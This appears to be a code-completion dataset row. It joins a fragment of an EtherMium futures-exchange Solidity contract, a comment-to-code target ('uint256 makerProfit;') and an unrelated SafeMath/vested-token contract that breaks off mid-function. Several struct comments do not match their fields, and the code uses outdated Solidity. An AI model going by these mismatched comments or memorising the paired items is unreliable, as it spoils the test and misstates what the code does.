function calculateTradeValue(uint256 qty, uint256 price, bytes32 futuresContractHash) returns (uint256)
{
bool inversed = futuresAssets[futuresContracts[futuresContractHash].asset].inversed;
uint256 multiplier = futuresContracts[futuresContractHash].multiplier;
if (inversed)
{
return qty * 1e10;
}
else
{
return safeMul(safeMul(safeMul(qty, price), 1e2), multiplier) / 1e18 ;
}
}
function calculateLoss(uint256 closingPrice, uint256 entryPrice, uint256 qty, bytes32 futuresContractHash, bool side) returns (uint256)
{
bool inversed = futuresAssets[futuresContracts[futuresContractHash].asset].inversed;
uint256 multiplier = futuresContracts[futuresContractHash].multiplier;
if (side)
{
if (inversed)
{
return safeMul(safeSub(closingPrice, entryPrice), qty) / closingPrice;
}
else
{
return safeMul(safeMul(safeSub(closingPrice, entryPrice), qty), multiplier) / 1e8 / 1e18;
}
}
else
{
if (inversed)
{
return safeMul(safeSub(entryPrice, closingPrice), qty) / closingPrice;
}
else
{
return safeMul(safeMul(safeSub(entryPrice, closingPrice), qty), multiplier) / 1e8 / 1e18;
}
}
}
function calculateCollateral (uint256 limitPrice, uint256 tradePrice, uint256 qty, bool side, bytes32 futuresContractHash) view returns (uint256)
{
bool inversed = futuresAssets[futuresContracts[futuresContractHash].asset].inversed;
uint256 multiplier = futuresContracts[futuresContractHash].multiplier;
if (side)
{
// long
if (inversed)
{
return safeMul(safeSub(tradePrice, limitPrice), qty) / limitPrice;
}
else
{
return safeMul(safeMul(safeSub(tradePrice, limitPrice), qty), multiplier) / 1e8 / 1e18;
}
}
else
{
// short
if (inversed)
{
return safeMul(safeSub(limitPrice, tradePrice), qty) / limitPrice;
}
else
{
return safeMul(safeMul(safeSub(limitPrice, tradePrice), qty), multiplier) / 1e8 / 1e18;
}
}
}
function calculateFee (uint256 qty, uint256 tradePrice, uint256 fee, bytes32 futuresContractHash) returns (uint256)
{
return safeMul(calculateTradeValue(qty, tradePrice, futuresContractHash), fee) / 1e18 / 1e10;
}
function checkEnoughBalance (uint256 limitPrice, uint256 tradePrice, uint256 qty, bool side, uint256 fee, uint256 gasFee, bytes32 futuresContractHash, uint256 availableBalance) view returns (bool)
{
if (side)
{
// long
if (safeAdd(
safeAdd(
calculateCollateral(limitPrice, tradePrice, qty, side, futuresContractHash),
//safeMul(qty, fee) / (1 ether)
calculateFee(qty, tradePrice, fee, futuresContractHash)
) * 1e10,
gasFee
) > availableBalance)
{
return false;
}
}
else
{
// short
if (safeAdd(
safeAdd(
calculateCollateral(limitPrice, tradePrice, qty, side, futuresContractHash),
//safeMul(qty, fee) / (1 ether)
calculateFee(qty, tradePrice, fee, futuresContractHash)
) * 1e10,
gasFee
) > availableBalance)
{
return false;
}
}
return true;
}
// Executes multiple trades in one transaction, saves gas fees
function batchFuturesTrade(
uint8[2][] v,
bytes32[4][] rs,
uint256[8][] tradeValues,
address[2][] tradeAddresses,
bool[] takerIsBuying,
bytes32[] futuresContractHash
) onlyAdmin
{
for (uint i = 0; i < tradeAddresses.length; i++) {
futuresTrade(
v[i],
rs[i],
tradeValues[i],
tradeAddresses[i],
takerIsBuying[i],
futuresContractHash[i]
);
}
}
// Update user balance
function updateBalances (bytes32 futuresContract, address[2] addressValues, bytes32 positionHash, uint256[8] uintValues, bool[3] boolValues) private
{
/*
addressValues
[0] baseToken
[1] user
uintValues
[0] qty
[1] price
[2] fee
[3] profit
[4] loss
[5] balance
[6] gasFee
[7] reserve
boolValues
[0] newPostion
[1] side
[2] increase position
*/
// qty * price * fee
// uint256 pam[0] = safeMul(safeMul(uintValues[0], uintValues[1]), uintValues[2]) / (1 ether);
// uint256 collateral;
// pam = [fee value, collateral]
uint256[2] memory pam = [safeAdd(calculateFee(uintValues[0], uintValues[1], uintValues[2], futuresContract) * 1e10, uintValues[6]), 0];
// LogUint(100, uintValues[3]);
// LogUint(9, uintValues[2]);
// LogUint(7, safeMul(uintValues[0], uintValues[2]) / (1 ether));
// return;
// Position is new or position is increased
if (boolValues[0] || boolValues[2])
{
if (boolValues[1])
{
//addReserve(addressValues[0], addressValues[1], uintValues[ 7], safeMul(safeSub(uintValues[1], futuresContracts[futuresContract].floorPrice), uintValues[0])); // reserve collateral on user
//pam[1] = safeMul(safeSub(uintValues[1], futuresContracts[futuresContract].floorPrice), uintValues[0]) / futuresContracts[futuresContract].floorPrice;
pam[1] = calculateCollateral(futuresContracts[futuresContract].floorPrice, uintValues[1], uintValues[0], true, futuresContract);
}
else
{
//addReserve(addressValues[0], addressValues[1], uintValues[7], safeMul(safeSub(futuresContracts[futuresContract].capPrice, uintValues[1]), uintValues[0])); // reserve collateral on user
//pam[1] = safeMul(safeSub(futuresContracts[futuresContract].capPrice, uintValues[1]), uintValues[0]) / futuresContracts[futuresContract].capPrice;
pam[1] = calculateCollateral(futuresContracts[futuresContract].capPrice, uintValues[1], uintValues[0], false, futuresContract);
}
subBalanceAddReserve(addressValues[0], addressValues[1], pam[0], safeAdd(pam[1],1));
// if (uintValues[6] > 0)
// {
// subBalanceAddReserve(addressValues[0], addressValues[1], safeAdd(uintValues[6], pam[0]), pam[1]);
// }
// else
// {
// subBalanceAddReserve(addressValues[0], addressValues[1], safeAdd(uintValues[6], pam[0]), pam[1]);
// }
//subBalance(addressValues[0], addressValues[1], uintValues[5], feeVal); // deduct user maker/taker fee
// Position exists
}
else
{
if (retrievePosition(positionHash)[2] == 0)
{
// original position was short
//subReserve(addressValues[0], addressValues[1], uintValues[7], safeMul(uintValues[0], safeSub(futuresContracts[futuresContract].capPrice, retrievePosition(positionHash)[1]))); // remove freed collateral from reserver
//pam[1] = safeMul(uintValues[0], safeSub(futuresContracts[futuresContract].capPrice, retrievePosition(positionHash)[1])) / futuresContracts[futuresContract].capPrice;
pam[1] = calculateCollateral(futuresContracts[futuresContract].capPrice, retrievePosition(positionHash)[1], uintValues[0], false, futuresContract);
// LogUint(120, uintValues[0]);
// LogUint(121, futuresContracts[futuresContract].capPrice);
// LogUint(122, retrievePosition(positionHash)[1]);
// LogUint(123, uintValues[3]); // profit
// LogUint(124, uintValues[4]); // loss
// LogUint(125, safeAdd(uintValues[4], pam[0]));
// LogUint(12, pam[1] );
//return;
}
else
{
// original position was long
//subReserve(addressValues[0], addressValues[1], uintValues[7], safeMul(uintValues[0], safeSub(retrievePosition(positionHash)[1], futuresContracts[futuresContract].floorPrice)));
//pam[1] = safeMul(uintValues[0], safeSub(retrievePosition(positionHash)[1], futuresContracts[futuresContract].floorPrice)) / futuresContracts[futuresContract].floorPrice;
pam[1] = calculateCollateral(futuresContracts[futuresContract].floorPrice, retrievePosition(positionHash)[1], uintValues[0], true, futuresContract);
}
// LogUint(41, uintValues[3]);
// LogUint(42, uintValues[4]);
// LogUint(43, pam[0]);
// return;
if (uintValues[3] > 0)
{
// profi > 0
if (pam[0] <= uintValues[3]*1e10)
{
//addBalance(addressValues[0], addressValues[1], uintValues[5], safeSub(uintValues[3], pam[0])); // add profit to user balance
addBalanceSubReserve(addressValues[0], addressValues[1], safeSub(uintValues[3]*1e10, pam[0]), pam[1]);
}
else
{
subBalanceSubReserve(addressValues[0], addressValues[1], safeSub(pam[0], uintValues[3]*1e10), pam[1]);
}
}
else
{
// loss >= 0
//subBalance(addressValues[0], addressValues[1], uintValues[5], safeAdd(uintValues[4], pam[0])); // deduct loss from user balance
subBalanceSubReserve(addressValues[0], addressValues[1], safeAdd(uintValues[4]*1e10, pam[0]), pam[1]); // deduct loss from user balance
}
//}
}
addBalance(addressValues[0], feeAccount, EtherMium(exchangeContract).balanceOf(addressValues[0], feeAccount), pam[0]); // send fee to feeAccount
}
function recordNewPosition (bytes32 positionHash, uint256 size, uint256 price, uint256 side, uint256 block) private
{
if (!validateUint128(size) || !validateUint64(price))
{
throw;
}
uint256 character = uint128(size);
character |= price<<128;
character |= side<<192;
character |= block<<208;
positions[positionHash] = character;
}
function retrievePosition (bytes32 positionHash) public view returns (uint256[4])
{
uint256 character = positions[positionHash];
uint256 size = uint256(uint128(character));
uint256 price = uint256(uint64(character>>128));
uint256 side = uint256(uint16(character>>192));
uint256 entryBlock = uint256(uint48(character>>208));
return [size, price, side, entryBlock];
}
function updatePositionSize(bytes32 positionHash, uint256 size, uint256 price) private
{
uint256[4] memory pos = retrievePosition(positionHash);
if (size > pos[0])
{
// position is increasing in size
recordNewPosition(positionHash, size, safeAdd(safeMul(pos[0], pos[1]), safeMul(price, safeSub(size, pos[0]))) / size, pos[2], pos[3]);
}
else
{
// position is decreasing in size
recordNewPosition(positionHash, size, pos[1], pos[2], pos[3]);
}
}
function positionExists (bytes32 positionHash) internal view returns (bool)
{
//LogUint(3,retrievePosition(positionHash)[0]);
if (retrievePosition(positionHash)[0] == 0)
{
return false;
}
else
{
return true;
}
}
// This function allows the user to manually release collateral in case the oracle service does not provide the price during the inactivityReleasePeriod
function forceReleaseReserve (bytes32 futuresContract, bool side) public
{
if (futuresContracts[futuresContract].expirationBlock == 0) throw;
if (futuresContracts[futuresContract].expirationBlock > block.number) throw;
if (safeAdd(futuresContracts[futuresContract].expirationBlock, EtherMium(exchangeContract).getInactivityReleasePeriod()) > block.number) throw;
bytes32 positionHash = keccak256(this, msg.sender, futuresContract, side);
if (retrievePosition(positionHash)[1] == 0) throw;
futuresContracts[futuresContract].broken = true;
address baseToken = futuresAssets[futuresContracts[futuresContract].asset].baseToken;
if (side)
{
subReserve(
baseToken,
msg.sender,
EtherMium(exchangeContract).getReserve(baseToken, msg.sender),
//safeMul(safeSub(retrievePosition(positionHash)[1], futuresContracts[futuresContract].floorPrice), retrievePosition(positionHash)[0]) / futuresContracts[futuresContract].floorPrice
calculateCollateral(futuresContracts[futuresContract].floorPrice, retrievePosition(positionHash)[1], retrievePosition(positionHash)[0], true, futuresContract)
);
}
else
{
subReserve(
baseToken,
msg.sender,
EtherMium(exchangeContract).getReserve(baseToken, msg.sender),
//safeMul(safeSub(futuresContracts[futuresContract].capPrice, retrievePosition(positionHash)[1]), retrievePosition(positionHash)[0]) / futuresContracts[futuresContract].capPrice
calculateCollateral(futuresContracts[futuresContract].capPrice, retrievePosition(positionHash)[1], retrievePosition(positionHash)[0], false, futuresContract)
);
}
updatePositionSize(positionHash, 0, 0);
//EtherMium(exchangeContract).setReserve(baseToken, msg.sender, safeSub(EtherMium(exchangeContract).getReserve(baseToken, msg.sender), );
//reserve[futuresContracts[futuresContract].baseToken][msg.sender] = safeSub(reserve[futuresContracts[futuresContract].baseToken][msg.sender], positions[msg.sender][positionHash].collateral);
emit FuturesForcedRelease(futuresContract, side, msg.sender);
}
function addBalance(address token, address user, uint256 balance, uint256 amount) private
{
EtherMium(exchangeContract).setBalance(token, user, safeAdd(balance, amount));
}
function subBalance(address token, address user, uint256 balance, uint256 amount) private
{
EtherMium(exchangeContract).setBalance(token, user, safeSub(balance, amount));
}
function subBalanceAddReserve(address token, address user, uint256 subBalance, uint256 addReserve) private
{
EtherMium(exchangeContract).subBalanceAddReserve(token, user, subBalance, addReserve * 1e10);
}
function addBalanceSubReserve(address token, address user, uint256 addBalance, uint256 subReserve) private
{
EtherMium(exchangeContract).addBalanceSubReserve(token, user, addBalance, subReserve * 1e10);
}
function subBalanceSubReserve(address token, address user, uint256 subBalance, uint256 subReserve) private
{
// LogUint(31, subBalance);
// LogUint(32, subReserve);
// return;
EtherMium(exchangeContract).subBalanceSubReserve(token, user, subBalance, subReserve * 1e10);
}
function addReserve(address token, address user, uint256 reserve, uint256 amount) private
{
//reserve[token][user] = safeAdd(reserve[token][user], amount);
EtherMium(exchangeContract).setReserve(token, user, safeAdd(reserve, amount * 1e10));
}
function subReserve(address token, address user, uint256 reserve, uint256 amount) private
{
//reserve[token][user] = safeSub(reserve[token][user], amount);
EtherMium(exchangeContract).setReserve(token, user, safeSub(reserve, amount * 1e10));
}
function getMakerTakerBalances(address maker, address taker, address token) public view returns (uint256[4])
{
return [
EtherMium(exchangeContract).balanceOf(token, maker),
EtherMium(exchangeContract).getReserve(token, maker),
EtherMium(exchangeContract).balanceOf(token, taker),
EtherMium(exchangeContract).getReserve(token, taker)
];
}
function getMakerTakerPositions(bytes32 makerPositionHash, bytes32 makerInversePositionHash, bytes32 takerPosition, bytes32 takerInversePosition) public view returns (uint256[4][4])
{
return [
retrievePosition(makerPositionHash),
retrievePosition(makerInversePositionHash),
retrievePosition(takerPosition),
retrievePosition(takerInversePosition)
];
}
struct FuturesClosePositionValues {
uint256 reserve; // amount to be trade
uint256 balance; // holds maker profit value
uint256 floorPrice; // holds maker loss value
uint256 capPrice; // holds taker profit value
uint256 closingPrice; // holds taker loss value
bytes32 futuresContract; // the futures contract hash
}
function closeFuturesPosition (bytes32 futuresContract, bool side)
{
bytes32 positionHash = keccak256(this, msg.sender, futuresContract, side);
if (futuresContracts[futuresContract].closed == false && futuresContracts[futuresContract].expirationBlock != 0) throw; // contract not yet settled
if (retrievePosition(positionHash)[1] == 0) throw; // position not found
if (retrievePosition(positionHash)[0] == 0) throw; // position already closed
uint256 profit;
uint256 loss;
address baseToken = futuresAssets[futuresContracts[futuresContract].asset].baseToken;
FuturesClosePositionValues memory v = FuturesClosePositionValues({
reserve : EtherMium(exchangeContract).getReserve(baseToken, msg.sender),
balance : EtherMium(exchangeContract).balanceOf(baseToken, msg.sender),
floorPrice : futuresContracts[futuresContract].floorPrice,
capPrice : futuresContracts[futuresContract].capPrice,
closingPrice : futuresContracts[futuresContract].closingPrice,
futuresContract : futuresContract
});
// uint256 reserve = EtherMium(exchangeContract).getReserve(baseToken, msg.sender);
// uint256 balance = EtherMium(exchangeContract).balanceOf(baseToken, msg.sender);
// uint256 floorPrice = futuresContracts[futuresContract].floorPrice;
// uint256 capPrice = futuresContracts[futuresContract].capPrice;
// uint256 closingPrice = futuresContracts[futuresContract].closingPrice;
//uint256 fee = safeMul(safeMul(retrievePosition(positionHash)[0], v.closingPrice), takerFee) / (1 ether);
uint256 fee = calculateFee(retrievePosition(positionHash)[0], v.closingPrice, takerFee, futuresContract);
// close long position
if (side == true)
{
// LogUint(11, EtherMium(exchangeContract).getReserve(baseToken, msg.sender));
// LogUint(12, safeMul(safeSub(retrievePosition(positionHash)[1], futuresContracts[futuresContract].floorPrice), retrievePosition(positionHash)[0]) / futuresContracts[futuresContract].floorPrice);
// return;
// reserve = reserve - (entryPrice - floorPrice) * size;
//subReserve(baseToken, msg.sender, EtherMium(exchangeContract).getReserve(baseToken, msg.sender), safeMul(safeSub(positions[positionHash].entryPrice, futuresContracts[futuresContract].floorPrice), positions[positionHash].size));
subReserve(
baseToken,
msg.sender,
v.reserve,
//safeMul(safeSub(retrievePosition(positionHash)[1], v.floorPrice), retrievePosition(positionHash)[0]) / v.floorPrice
calculateCollateral(v.floorPrice, retrievePosition(positionHash)[1], retrievePosition(positionHash)[0], true, v.futuresContract)
);
//EtherMium(exchangeContract).setReserve(baseToken, msg.sender, safeSub(EtherMium(exchangeContract).getReserve(baseToken, msg.sender), safeMul(safeSub(positions[msg.sender][positionHash].entryPrice, futuresContracts[futuresContract].floorPrice), positions[msg.sender][positionHash].size));
//reserve[futuresContracts[futuresContract].baseToken][msg.sender] = safeSub(reserve[futuresContracts[futuresContract].baseToken][msg.sender], safeMul(safeSub(positions[msg.sender][positionHash].entryPrice, futuresContracts[futuresContract].floorPrice), positions[msg.sender][positionHash].size));
if (v.closingPrice > retrievePosition(positionHash)[1])
{
// user made a profit
//profit = safeMul(safeSub(v.closingPrice, retrievePosition(positionHash)[1]), retrievePosition(positionHash)[0]) / v.closingPrice;
profit = calculateProfit(v.closingPrice, retrievePosition(positionHash)[1], retrievePosition(positionHash)[0], futuresContract, false);
// LogUint(15, profit);
// LogUint(16, fee);
// LogUint(17, safeSub(profit * 1e10, fee));
// return;
addBalance(baseToken, msg.sender, v.balance, safeSub(profit * 1e10, fee * 1e10));
//EtherMium(exchangeContract).updateBalance(baseToken, msg.sender, safeAdd(EtherMium(exchangeContract).balanceOf(baseToken, msg.sender), profit);
//tokens[futuresContracts[futuresContract].baseToken][msg.sender] = safeAdd(tokens[futuresContracts[futuresContract].baseToken][msg.sender], profit);
}
else
{
// user made a loss
//loss = safeMul(safeSub(retrievePosition(positionHash)[1], v.closingPrice), retrievePosition(positionHash)[0]) / v.closingPrice;
loss = calculateLoss(v.closingPrice, retrievePosition(positionHash)[1], retrievePosition(positionHash)[0], futuresContract, false);
subBalance(baseToken, msg.sender, v.balance, safeAdd(loss * 1e10, fee * 1e10));
//tokens[futuresContracts[futuresContract].baseToken][msg.sender] = safeSub(tokens[futuresContracts[futuresContract].baseToken][msg.sender], loss);
}
}
// close short position
else
{
// LogUint(11, EtherMium(exchangeContract).getReserve(baseToken, msg.sender));
// LogUint(12, safeMul(safeSub(futuresContracts[futuresContract].capPrice, retrievePosition(positionHash)[1]), retrievePosition(positionHash)[0]) / futuresContracts[futuresContract].capPrice);
// return;
// reserve = reserve - (capPrice - entryPrice) * size;
subReserve(
baseToken,
msg.sender,
v.reserve,
//safeMul(safeSub(v.capPrice, retrievePosition(positionHash)[1]), retrievePosition(positionHash)[0]) / v.capPrice
calculateCollateral(v.capPrice, retrievePosition(positionHash)[1], retrievePosition(positionHash)[0], false, v.futuresContract)
);
//EtherMium(exchangeContract).setReserve(baseToken, msg.sender, safeSub(EtherMium(exchangeContract).getReserve(baseToken, msg.sender), safeMul(safeSub(futuresContracts[futuresContract].capPrice, positions[msg.sender][positionHash].entryPrice), positions[msg.sender][positionHash].size));
//reserve[futuresContracts[futuresContract].baseToken][msg.sender] = safeSub(reserve[futuresContracts[futuresContract].baseToken][msg.sender], safeMul(safeSub(futuresContracts[futuresContract].capPrice, positions[msg.sender][positionHash].entryPrice), positions[msg.sender][positionHash].size));
if (v.closingPrice < retrievePosition(positionHash)[1])
{
// user made a profit
// profit = (entryPrice - closingPrice) * size
// profit = safeMul(safeSub(retrievePosition(positionHash)[1], v.closingPrice), retrievePosition(positionHash)[0]) / v.closingPrice;
profit = calculateProfit(v.closingPrice, retrievePosition(positionHash)[1], retrievePosition(positionHash)[0], futuresContract, true);
addBalance(baseToken, msg.sender, v.balance, safeSub(profit * 1e10, fee * 1e10));
//tokens[futuresContracts[futuresContract].baseToken][msg.sender] = safeAdd(tokens[futuresContracts[futuresContract].baseToken][msg.sender], profit);
}
else
{
// user made a loss
// profit = (closingPrice - entryPrice) * size
//loss = safeMul(safeSub(v.closingPrice, retrievePosition(positionHash)[1]), retrievePosition(positionHash)[0]) / v.closingPrice;
loss = calculateLoss(v.closingPrice, retrievePosition(positionHash)[1], retrievePosition(positionHash)[0], futuresContract, true);
subBalance(baseToken, msg.sender, v.balance, safeAdd(loss * 1e10, fee * 1e10));
//tokens[futuresContracts[futuresContract].baseToken][msg.sender] = safeSub(tokens[futuresContracts[futuresContract].baseToken][msg.sender], loss);
}
}
addBalance(baseToken, feeAccount, EtherMium(exchangeContract).balanceOf(baseToken, feeAccount), fee * 1e10); // send fee to feeAccount
updatePositionSize(positionHash, 0, 0);
}
/*
string priceUrl; // the url where the price of the asset will be taken for settlement
string pricePath; // price path in the returned JSON from the priceUrl (ex. path "last" will return tha value last from the json: {"high": "156.49", "last": "154.31", "timestamp": "1556522201", "bid": "154.22", "vwap": "154.65", "volume": "25578.79138868", "low": "152.33", "ask": "154.26", "open": "152.99"})
bool multiplied; // if true, the price from the priceUrl will be multiplied by the multiplierPriceUrl
string multiplierPriceUrl; // needed only if multiplied=true
string multiplierPricePath; // same as pricePath
bool inverseMultiplier;
*/
function closeFuturesContract (bytes32 futuresContract, uint256 price, uint256 multipliterPrice) onlyAdmin
{
uint256 closingPrice = price;
if (futuresContracts[futuresContract].expirationBlock == 0) throw; // contract not found
if (futuresContracts[futuresContract].closed == true) throw; // contract already closed
if (futuresContracts[futuresContract].expirationBlock > block.number
&& closingPrice > futuresContracts[futuresContract].floorPrice
&& closingPrice < futuresContracts[futuresContract].capPrice) throw; // contract not yet expired
futuresContracts[futuresContract].closingPrice = closingPrice;
futuresContracts[futuresContract].closed = true;
emit FuturesContractClosed(futuresContract, closingPrice);
}
// Returns the smaller of two values
function min(uint a, uint b) private pure returns (uint) {
return a < b ? a : b;
}
}
|
holds maker profit value
|
uint256 makerProfit;
| 2,472,934
|
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pragma solidity ^0.4.11;
/**
* Math operations with safety checks
*/
library SafeMath {
function mul(uint a, uint b) internal returns (uint) {
uint c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint a, uint b) internal returns (uint) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint a, uint b) internal returns (uint) {
assert(b <= a);
return a - b;
}
function add(uint a, uint b) internal returns (uint) {
uint c = a + b;
assert(c >= a);
return c;
}
function max64(uint64 a, uint64 b) internal constant returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal constant returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal constant returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal constant returns (uint256) {
return a < b ? a : b;
}
function assert(bool assertion) internal {
if (!assertion) {
revert();
}
}
}
/**
* @title ERC20Basic
* @dev Simpler version of ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20Basic {
uint public totalSupply;
function balanceOf(address who) constant returns (uint);
function transfer(address to, uint value);
event Transfer(address indexed from, address indexed to, uint value);
}
/**
* @title Basic token
* @dev Basic version of StandardToken, with no allowances.
*/
contract BasicToken is ERC20Basic {
using SafeMath for uint;
mapping(address => uint) balances;
/**
* @dev Fix for the ERC20 short address attack.
*/
modifier onlyPayloadSize(uint size) {
if(msg.data.length < size + 4) {
revert();
}
_;
}
/**
* @dev transfer token for a specified address
* @param _to The address to transfer to.
* @param _value The amount to be transferred.
*/
function transfer(address _to, uint _value) onlyPayloadSize(2 * 32) {
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
}
/**
* @dev Gets the balance of the specified address.
* @param _owner The address to query the the balance of.
* @return An uint representing the amount owned by the passed address.
*/
function balanceOf(address _owner) constant returns (uint balance) {
return balances[_owner];
}
}
/**
* @title ERC20 interface
* @dev see https://github.com/ethereum/EIPs/issues/20
*/
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant returns (uint);
function transferFrom(address from, address to, uint value);
function approve(address spender, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
/**
* @title Standard ERC20 token
*
* @dev Implemantation of the basic standart token.
* @dev https://github.com/ethereum/EIPs/issues/20
* @dev Based on code by FirstBlood: https://github.com/Firstbloodio/token/blob/master/smart_contract/FirstBloodToken.sol
*/
contract StandardToken is BasicToken, ERC20 {
mapping (address => mapping (address => uint)) allowed;
/**
* @dev Transfer tokens from one address to another
* @param _from address The address which you want to send tokens from
* @param _to address The address which you want to transfer to
* @param _value uint the amout of tokens to be transfered
*/
function transferFrom(address _from, address _to, uint _value) onlyPayloadSize(3 * 32) {
var _allowance = allowed[_from][msg.sender];
// Check is not needed because sub(_allowance, _value) will already throw if this condition is not met
// if (_value > _allowance) revert();
balances[_to] = balances[_to].add(_value);
balances[_from] = balances[_from].sub(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
}
/**
* @dev Aprove the passed address to spend the specified amount of tokens on beahlf of msg.sender.
* @param _spender The address which will spend the funds.
* @param _value The amount of tokens to be spent.
*/
function approve(address _spender, uint _value) {
// To change the approve amount you first have to reduce the addresses`
// allowance to zero by calling `approve(_spender, 0)` if it is not
// already 0 to mitigate the race condition described here:
// https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729
if ((_value != 0) && (allowed[msg.sender][_spender] != 0)) revert();
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
}
/**
* @dev Function to check the amount of tokens than an owner allowed to a spender.
* @param _owner address The address which owns the funds.
* @param _spender address The address which will spend the funds.
* @return A uint specifing the amount of tokens still available for the spender.
*/
function allowance(address _owner, address _spender) constant returns (uint remaining) {
return allowed[_owner][_spender];
}
}
/**
* @title LimitedTransferToken
* @dev LimitedTransferToken defines the generic interface and the implementation to limit token
* transferability for different events. It is intended to be used as a base class for other token
* contracts.
* LimitedTransferToken has been designed to allow for different limiting factors,
* this can be achieved by recursively calling super.transferableTokens() until the base class is
* hit. For example:
* function transferableTokens(address holder, uint64 time) constant public returns (uint256) {
* return min256(unlockedTokens, super.transferableTokens(holder, time));
* }
* A working example is VestedToken.sol:
* https://github.com/OpenZeppelin/zeppelin-solidity/blob/master/contracts/token/VestedToken.sol
*/
contract LimitedTransferToken is ERC20 {
/**
* @dev Checks whether it can transfer or otherwise throws.
*/
modifier canTransfer(address _sender, uint _value) {
if (_value > transferableTokens(_sender, uint64(now))) revert();
_;
}
/**
* @dev Checks modifier and allows transfer if tokens are not locked.
* @param _to The address that will recieve the tokens.
* @param _value The amount of tokens to be transferred.
*/
function transfer(address _to, uint _value) canTransfer(msg.sender, _value) {
super.transfer(_to, _value);
}
/**
* @dev Checks modifier and allows transfer if tokens are not locked.
* @param _from The address that will send the tokens.
* @param _to The address that will recieve the tokens.
* @param _value The amount of tokens to be transferred.
*/
function transferFrom(address _from, address _to, uint _value) canTransfer(_from, _value) {
super.transferFrom(_from, _to, _value);
}
/**
* @dev Default transferable tokens function returns all tokens for a holder (no limit).
* @dev Overwriting transferableTokens(address holder, uint64 time) is the way to provide the
* specific logic for limiting token transferability for a holder over time.
*/
function transferableTokens(address holder, uint64 time) constant public returns (uint256) {
return balanceOf(holder);
}
}
/**
* @title Vested token
* @dev Tokens that can be vested for a group of addresses.
*/
contract VestedToken is StandardToken, LimitedTransferToken {
uint256 MAX_GRANTS_PER_ADDRESS = 20;
struct TokenGrant {
address granter; // 20 bytes
uint256 value; // 32 bytes
uint64 cliff;
uint64 vesting;
uint64 start; // 3 * 8 = 24 bytes
bool revokable;
bool burnsOnRevoke; // 2 * 1 = 2 bits? or 2 bytes?
} // total 78 bytes = 3 sstore per operation (32 per sstore)
mapping (address => TokenGrant[]) public grants;
event NewTokenGrant(address indexed from, address indexed to, uint256 value, uint256 grantId);
/**
* @dev Grant tokens to a specified address
* @param _to address The address which the tokens will be granted to.
* @param _value uint256 The amount of tokens to be granted.
* @param _start uint64 Time of the beginning of the grant.
* @param _cliff uint64 Time of the cliff period.
* @param _vesting uint64 The vesting period.
*/
function grantVestedTokens(
address _to,
uint256 _value,
uint64 _start,
uint64 _cliff,
uint64 _vesting,
bool _revokable,
bool _burnsOnRevoke
) public {
// Check for date inconsistencies that may cause unexpected behavior
if (_cliff < _start || _vesting < _cliff) {
revert();
}
if (tokenGrantsCount(_to) > MAX_GRANTS_PER_ADDRESS) revert(); // To prevent a user being spammed and have his balance locked (out of gas attack when calculating vesting).
uint count = grants[_to].push(
TokenGrant(
_revokable ? msg.sender : 0, // avoid storing an extra 20 bytes when it is non-revokable
_value,
_cliff,
_vesting,
_start,
_revokable,
_burnsOnRevoke
)
);
transfer(_to, _value);
NewTokenGrant(msg.sender, _to, _value, count - 1);
}
/**
* @dev Revoke the grant of tokens of a specifed address.
* @param _holder The address which will have its tokens revoked.
* @param _grantId The id of the token grant.
*/
function revokeTokenGrant(address _holder, uint _grantId) public {
TokenGrant grant = grants[_holder][_grantId];
if (!grant.revokable) { // Check if grant was revokable
revert();
}
if (grant.granter != msg.sender) { // Only granter can revoke it
revert();
}
address receiver = grant.burnsOnRevoke ? 0xdead : msg.sender;
uint256 nonVested = nonVestedTokens(grant, uint64(now));
// remove grant from array
delete grants[_holder][_grantId];
grants[_holder][_grantId] = grants[_holder][grants[_holder].length.sub(1)];
grants[_holder].length -= 1;
balances[receiver] = balances[receiver].add(nonVested);
balances[_holder] = balances[_holder].sub(nonVested);
Transfer(_holder, receiver, nonVested);
}
/**
* @dev Calculate the total amount of transferable tokens of a holder at a given time
* @param holder address The address of the holder
* @param time uint64 The specific time.
* @return An uint representing a holder's total amount of transferable tokens.
*/
function transferableTokens(address holder, uint64 time) constant public returns (uint256) {
uint256 grantIndex = tokenGrantsCount(holder);
if (grantIndex == 0) return balanceOf(holder); // shortcut for holder without grants
// Iterate through all the grants the holder has, and add all non-vested tokens
uint256 nonVested = 0;
for (uint256 i = 0; i < grantIndex; i++) {
nonVested = SafeMath.add(nonVested, nonVestedTokens(grants[holder][i], time));
}
// Balance - totalNonVested is the amount of tokens a holder can transfer at any given time
uint256 vestedTransferable = SafeMath.sub(balanceOf(holder), nonVested);
// Return the minimum of how many vested can transfer and other value
// in case there are other limiting transferability factors (default is balanceOf)
return SafeMath.min256(vestedTransferable, super.transferableTokens(holder, time));
}
/**
* @dev Check the amount of grants that an address has.
* @param _holder The holder of the grants.
* @return A uint representing the total amount of grants.
*/
function tokenGrantsCount(address _holder) constant returns (uint index) {
return grants[_holder].length;
}
/**
* @dev Calculate amount of vested tokens at a specifc time.
* @param tokens uint256 The amount of tokens grantted.
* @param time uint64 The time to be checked
* @param start uint64 A time representing the begining of the grant
* @param cliff uint64 The cliff period.
* @param vesting uint64 The vesting period.
* @return An uint representing the amount of vested tokensof a specif grant.
* transferableTokens
* | _/-------- vestedTokens rect
* | _/
* | _/
* | _/
* | _/
* | /
* | .|
* | . |
* | . |
* | . |
* | . |
* | . |
* +===+===========+---------+----------> time
* Start Clift Vesting
*/
function calculateVestedTokens(
uint256 tokens,
uint256 time,
uint256 start,
uint256 cliff,
uint256 vesting) constant returns (uint256)
{
// Shortcuts for before cliff and after vesting cases.
if (time < cliff) return 0;
if (time >= vesting) return tokens;
// Interpolate all vested tokens.
// As before cliff the shortcut returns 0, we can use just calculate a value
// in the vesting rect (as shown in above's figure)
// vestedTokens = tokens * (time - start) / (vesting - start)
